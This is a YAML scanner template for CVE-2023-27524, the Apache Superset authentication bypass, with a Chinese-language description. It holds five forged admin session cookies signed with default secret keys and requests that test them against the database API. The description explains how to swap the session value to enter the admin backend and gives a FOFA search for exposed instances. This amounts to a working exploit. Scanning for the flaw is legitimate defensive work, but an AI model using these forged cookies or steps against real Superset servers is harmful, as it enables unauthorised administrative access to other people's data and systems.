CVE-2023-27524: Apache Superset身份验证绕过

id: CVE-2023-27524

info:
  name: Apache Superset身份验证绕过
  author: li1u (https://huclilu.github.io/)
  severity: critical
  verified: true
  description: |-
    Apache Superset会话验证漏洞，是由于未根据安装说明更改默认配置的SECRET_KEY，允许攻击者验证和访问未经授权的资源。Superset登陆成功页面跳转到/superset/welcome/，抓包更改session值即可成功绕过身份验证进入后台。
    若失败则提示："Missing Authorization Header"，若响应包为："Not found"，不代表失败，直接携带session值访问/superset/welcome/即可成功进入后台；
    fofa: app="APACHE-Superset"
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2023-27524
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27524
  tags: cve,cve2023,apache,superset,bypass
  created: 2023/05/26

set:
  session1: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk"
  session2: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0"
  session3: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM"
  session4: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY"
  session5: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U"

rules:
  r0:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session1}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r1:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session2}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r2:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session3}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r3:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session4}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r4:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session5}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')

expression: r0() || r1() || r2() || r3() || r4()